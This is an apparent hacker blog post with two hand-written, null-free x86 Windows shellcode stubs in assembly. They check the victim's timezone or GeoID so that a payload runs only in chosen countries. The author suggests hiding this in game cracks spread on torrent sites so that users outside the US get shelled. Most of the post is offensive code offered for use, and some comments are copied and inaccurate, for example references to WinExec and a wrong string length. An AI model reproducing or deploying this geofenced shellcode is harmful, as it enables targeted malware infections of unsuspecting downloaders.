Maybe we’re all a little black hat at times – you have to bend the rules to get things done sometimes.
I thought of a couple kinds of shellcode – basically checking to see if the user is in a particular country or timezone.
The concept of weaponizing shellcode is nothing new. This is just more fuel for the fire.
Since whenever I think of something, code doesn’t exist, it is once again up to Joe to make the code exist.
The following is for x86 Windows. No nulls either!
.486 .model flat, stdcall option casemap :none ASSUME FS:NOTHING .code start: push ebx push ecx push edx push esi push edi xor eax,eax ; Establish a new stack frame push ebp mov ebp, esp mov ax,2224 sub esp, eax ; Allocate memory on stack for local variables xor eax,eax push eax ; push the function name on the stack xor esi, esi push esi ; null termination push 6e6f6974h push 616d726fh push 666e4965h push 6E6F5a65h push 6d695474h pushw 6547h; var4 = "GetTimeZoneInformation\x00" mov [ebp-4], esp push ax ; push 2 bytes to stack to maintain 4 byte alignment ; Find kernel32.dll base address ;xor esi, esi ; esi is already 0, no need to xor mov ebx, dword ptr fs:[30h + esi] ; written this way to avoid null bytes mov ebx, [ebx + 12] mov ebx, [ebx + 20] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 16] ; ebx holds kernel32.dll base address mov [ebp-8], ebx ; var8 = kernel32.dll base address ; Find WinExec address mov eax, [ebx + 3Ch] ; RVA of PE signature add eax, ebx ; Address of PE signature = base address + RVA of PE signature mov eax, [eax + 78h] ; RVA of Export Table add eax, ebx ; Address of Export Table mov ecx, [eax + 24h] ; RVA of Ordinal Table add ecx, ebx ; Address of Ordinal Table mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table mov edi, [eax + 20h] ; RVA of Name Pointer Table add edi, ebx ; Address of Name Pointer Table mov [ebp-10h], edi ; var16 = Address of Name Pointer Table mov edx, [eax + 1Ch] ; RVA of Address Table add edx, ebx ; Address of Address Table mov [ebp-14h], edx ; var20 = Address of Address Table mov edx, [eax + 14h] ; Number of exported functions xor eax, eax ; counter = 0 myloop: mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table mov esi, [ebp-4] ; esi = var4 = "GetTimeZoneInformation\x00" xor ecx, ecx cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long ; edi = RVA Nth entry = Address of Name Table * 4 add edi, ebx ; edi = address of string = base address + RVA Nth entry add cx, 23 ; Length of strings to compare (len('GetTimeZoneInformation') = 23) repe cmpsb ; Compare the first 8 bytes of strings in ; esi and edi registers. ZF=1 if equal, ZF=0 if not jz found inc eax ; counter++ cmp eax, edx ; check if last function is reached jb myloop ; if not the last -> loop mov ax,2224 add esp, eax ; clear the stack ret ; if function is not found, return found: ; the counter (eax) now holds the position of WinExec mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table mov edx, [ebp-14h] ; edx = var20 = Address of Address Table mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2) mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4) add eax, ebx ; eax = address of func = ; = kernel32.dll base address + RVA of func xor edx, edx lea esi,dword ptr ss:[ebp-172] ;0xAC or 172 decimal is the size of the timezone structure push esi call eax ; GetTimeZoneInformation lea esi,dword ptr ss:[ebp-168]; A8 is the tz.StandardName mov byte ptr ss:[ebp-40],43h mov byte ptr ss:[ebp-38],68h mov byte ptr ss:[ebp-36],69h mov byte ptr ss:[ebp-34],6Eh mov byte ptr ss:[ebp-32],61h mov byte ptr ss:[ebp-30],20h mov byte ptr ss:[ebp-28],53h mov byte ptr ss:[ebp-26],74h mov byte ptr ss:[ebp-24],61h mov byte ptr ss:[ebp-22],6Eh mov byte ptr ss:[ebp-20],64h mov byte ptr ss:[ebp-18],61h mov byte ptr ss:[ebp-16],72h mov byte ptr ss:[ebp-14],64h mov byte ptr ss:[ebp-12],20h mov byte ptr ss:[ebp-10],54h mov byte ptr ss:[ebp-8],69h mov byte ptr ss:[ebp-6],6Dh mov byte ptr ss:[ebp-4],65h xor eax,eax mov dword ptr ss:[ebp-2],eax ;no nulls now! ;lea eax,[ebp-40] ; 28h is the stored string we made ;invoke MessageBoxW,0,eax,eax,0 lea ecx,dword ptr ss:[ebp-168] lea ebx,dword ptr ss:[ebp-40] wehaveawinner: mov ax,word ptr ss:[ecx] cmp ax,word ptr ss:[ebx] jne nomatch add ecx,2 add ebx,2 test ax,ax jne wehaveawinner push ebx ret nomatch: mov ax,2224 add esp, eax ; clear the stack pop ebp ; restore all registers and exit pop edi pop esi pop edx pop ecx pop ebx pop eax pop esp ret end start
If you were really evil, you could backdoor torrent files with this code so it only runs in certain countries. Say you backdoor the program to only work outside of the US of A, then distribute it on torrent sites as a crack for some game, piggybacking on some other crack? Everyone in the States has no problem. Everywhere else? Shell city!
I talked about just that here.
This next one checks the GeoID. Again, no shellcode exists on MSF, so we roll our own.
.486 .model flat, stdcall option casemap :none ASSUME FS:NOTHING .code start: push eax ; Save all registers push ebx push ecx push edx push esi push edi push ebp ; Establish a new stack frame push ebp mov ebp, esp sub esp, 79h ; Allocate memory on stack for local variables ; push the function name on the stack xor esi, esi push esi ; null termination pushw 4449h pushw 6f65h push 47726573h push 55746547h mov [ebp-4], esp ; swapped to GetUserGeoID ; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, dword ptr fs:[30h + esi] ; written this way to avoid null bytes mov ebx, [ebx + 12] mov ebx, [ebx + 20] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 16] ; ebx holds kernel32.dll base address mov [ebp-8], ebx ; var8 = kernel32.dll base address ; Find WinExec address mov eax, [ebx + 3Ch] ; RVA of PE signature add eax, ebx ; Address of PE signature = base address + RVA of PE signature mov eax, [eax + 78h] ; RVA of Export Table add eax, ebx ; Address of Export Table mov ecx, [eax + 24h] ; RVA of Ordinal Table add ecx, ebx ; Address of Ordinal Table mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table mov edi, [eax + 20h] ; RVA of Name Pointer Table add edi, ebx ; Address of Name Pointer Table mov [ebp-10h], edi ; var16 = Address of Name Pointer Table mov edx, [eax + 1Ch] ; RVA of Address Table add edx, ebx ; Address of Address Table mov [ebp-14h], edx ; var20 = Address of Address Table mov edx, [eax + 14h] ; Number of exported functions xor eax, eax ; counter = 0 myloop: mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table mov esi, [ebp-4] ; esi = var4 = "GetUserGeoID\x00" xor ecx, ecx cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long ; edi = RVA Nth entry = Address of Name Table * 4 add edi, ebx ; edi = address of string = base address + RVA Nth entry add cx, 13 ; Length of strings to compare (len('GetUserGeoID') = 23) repe cmpsb ; Compare the first 8 bytes of strings in ; esi and edi registers. ZF=1 if equal, ZF=0 if not jz found inc eax ; counter++ cmp eax, edx ; check if last function is reached jb myloop ; if not the last -> loop add esp, 26h jmp myend ; if function is not found, jump to end found: ; the counter (eax) now holds the position of WinExec mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table mov edx, [ebp-14h] ; edx = var20 = Address of Address Table mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2) mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4) add eax, ebx ; eax = address of GetUserGeoID = ; = kernel32.dll base address + RVA of GetUserGeoID xor edx, edx push 10h ; only needs 1 param call eax ; GetUserGeoID cmp al,244 ; america, fuck yeah! je notfound db 235 ; EB FE db 254 notfound: add esp, 79h;46h ; clear the stack myend: pop ebp ; restore all registers and exit pop edi pop esi pop edx pop ecx pop ebx pop eax pop esp ret end start
As you can see, if I can figure it out, anyone can.

This was a quick and easy writeup. I have more crap to cover still – stuff like rolling my own shellcode encryption, running your own (evil) DNS server, playing with race conditions on windows and perhaps weaponizing / making use of the aforementioned shellcode for more hilarious (or evil?) purposes. More to come soon.
Stay tuned!
